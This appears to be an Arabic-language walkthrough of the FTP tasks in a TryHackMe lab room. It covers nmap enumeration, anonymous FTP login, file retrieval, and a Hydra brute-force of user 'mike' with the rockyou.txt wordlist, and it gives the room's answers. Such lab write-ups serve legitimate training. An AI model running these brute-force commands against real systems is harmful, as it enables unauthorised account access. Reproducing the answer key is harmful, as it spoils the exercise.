السؤال 2
ما هو منفذ FTP القياسي؟
21
السؤال 3
كم عدد أوضاع اتصال FTP الموجودة؟
2
سنعمل مع عميل FTP. للتأكد مرة أخرى من تثبيت عميل FTP على نظامك، يمكنك إدخال ftp
، ويجب أن يتم توجيهك إلى موجه ftp>
. إذا لم يكن الأمر كذلك، فكل ما عليك فعله هو تثبيته عبر sudo apt install ftp
.
السؤال 1
سنستخدم Nmap مرة أخرى لتعداد خادم FTP هذا. من خلال النظر في الأسئلة التالية، ستحتاج إلى معلومات أكثر مما قد تتلقاه من الفحص الأساسي، لذلك استخدمت nmap {Active Machine IP Address} -A -p-
.
كم عدد المنافذ المفتوحة على الجهاز المستهدف؟
هذا السؤال غريب بعض الشيء. بالنظر إلى إجابتي الصحيحة أثناء مروري عبر هذه الغرفة، فهي تقول 2. يُظهر إجراء الفحص الآن أن المنفذ 21 فقط مفتوح. أقترح البدء بـ 1، وإذا لم ينجح، قل 2.
السؤال 2
ما هو المنفذ الذي يعمل عليه FTP؟
21
السؤال 3
ما هو نوع FTP الذي يعمل عليه؟
vsftpd
السؤال 4
رائع، لقد عرفنا الآن نوع خادم FTP الذي نتعامل معه؛ يمكننا التحقق لمعرفة ما إذا كان بإمكاننا تسجيل الدخول بشكل مجهول إلى خادم FTP. يمكننا القيام بذلك عن طريق كتابة ftp [IP]
في وحدة التحكم وإدخال "مجهول" وعدم وجود كلمة مرور عند المطالبة بذلك.
ما هو اسم الملف الموجود في دليل FTP المجهول؟
PUBLIC_NOTICE.txt
السؤال 5
بالنسبة لهذا السؤال، ستستخدم الأمر get
مرة أخرى، تمامًا كما هو الحال مع Telnet. أدخل get PUBLIC_NOTICE.txt
سيؤدي ذلك إلى تنزيل الملف على نظامك حتى تتمكن من عرض محتوياته. لن تحتاج إلى الاتصال بخادم FTP بعد الآن، لذا أدخل exit
للعودة إلى المطالبة القياسية.
الآن، سوف تحتاج إلى العثور على الملف الذي قمت بتنزيله للتو. بالنسبة لجهاز Kali القائم على المتصفح، يتم إدراجه في الدليل الجذر الخاص بك. يجب أن يكون موجودًا في نفس الدليل الذي يوجد به الملف الذي حصلت عليه أثناء مهام telnet.
وبمجرد العثور عليه على نظامك، فقد حان الوقت لقراءته. إما أن تنتقل إلى المجلد الموجود فيه أو أدخل مسار الملف بالكامل باستخدام الأمر cat
. cat PUBLIC_NOTICE.txt
ومعرفة ما إذا كان بإمكانك رؤية أي معلومات قد تكون مفيدة لنا؛ شيء قد يكون اسم مستخدم، ربما؟
ماذا نعتقد أنه يمكن أن يكون اسم المستخدم المحتمل؟
مايك
السؤال 6
عظيم! الآن لدينا تفاصيل حول خادم FTP، والأهم من ذلك، اسم المستخدم المحتمل. دعونا نرى ما يمكننا القيام به مع ذلك ...
لا حاجة للإجابة؛ انقر فوق إكمال.
بالنسبة لهذه المهمة تحديدًا، سنستخدم mike
اسم المستخدم الذي نعرفه بالفعل ونحاول فرض كلمة المرور الخاصة به بعنف. هذا هو المكان الذي يتم فيه تشغيل ملف rockyou.txt
؛ إنها قائمة كلمات المرور. إذا كنت تستخدم نظامك المحلي، فتذكر المكان الذي قمت بتنزيله فيه واستخدمه لمسار الملف. الأداة التي سنستخدمها تسمى هيدرا. يمكن لـ Hydra أخذ قائمة كلمات المرور ومحاولتها ضد النظام لمعرفة ما إذا كانت تعمل.
تحتوي صفحة TryHackMe على تحليل رائع للصيغة التي سنستخدمها في هذا الهجوم. أقترح بشدة القراءة من خلاله.
hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp
اعتمادا على النظام الذي تستخدمه، قد يختلف مسار الملف الخاص بك. أيضًا، إذا كنت تستخدم جهاز Kali القائم على المتصفح، فستكون لديك خطوة إضافية. على جهاز Kali، يتم ضغط قائمة الكلمات في ملف GZ. نحن بحاجة إلى فك ضغطه. في المحطة الطرفية لديك، أدخل gunzip -d /root/Desktop/wordlists/rockyou.txt.gz
. وبعد لحظة، سيكون لديك الملف غير المضغوط الذي تحتاجه.
للعثور على كلمة المرور الصحيحة، عليك إدخال hydra -t 4 -l mike -P {Your File Path to rockyou.txt} -vV {Your Active Machine IP} ftp
.
إذا كان كل شيء ناجحًا، فيجب أن يتم عرض كلمة المرور كآخر إدخال في القائمة.
ما هي كلمة المرور للمستخدم "مايك"؟
يمكنك العثور على هذا في الإخراج من هيدرا.
السؤال 2
البنغو! الآن، دعنا نتصل بخادم FTP كهذا المستخدم باستخدام "ftp [IP]" وإدخال بيانات الاعتماد عند المطالبة بذلك
سنقوم الآن بتسجيل الدخول باستخدام بيانات الاعتماد التي تم العثور عليها حديثًا.
أدخل ftp {Your Active Machine IP Address}
. ثم أدخل mike
كاسم المستخدم وإجابة السؤال السابق ككلمة المرور. يجب أن يكون لديك الآن موجه ftp>
.
لا حاجة للإجابة؛ انقر فوق إكمال.
السؤال 3
استخدم ls
لرؤية محتويات الدليل. ملفين هنا. من المحتمل أن يكون ملف .txt هو الذي سيكون قابلاً للقراءة بواسطة الإنسان. استخدم الأمر get
لتنزيله على نظامك. الآن بعد أن قمت بذلك عدة مرات، من المفترض أن تكون قادرًا على العثور على الملف وعرض محتوياته. إذا كنت تواجه صعوبة، يمكنك التمرير لأعلى والعثور على التعليمات من المهام الأخرى.
ما هو ftp.txt؟
تهانينا! لقد استحوذت على علمك الثالث وأكملت جزء النشاط في الغرفة! عمل عظيم!
توفر هذه المهمة بعض الأماكن التي يمكنك الاطلاع عليها لتعزيز قراءتك للمواضيع ذات الصلة.
لا حاجة للإجابة؛ انقر فوق إكمال.
لقد قمت بعمل رائع من خلال هذه الغرفة. ربما بدا الأمر مخيفًا في البداية، ربما كان نسيمًا، لكنك فعلته.
شكرًا جزيلًا لشركة Polomints على إنشاء هذه الغرفة وTryHackMe على تجميع هذا الموقع الممتاز.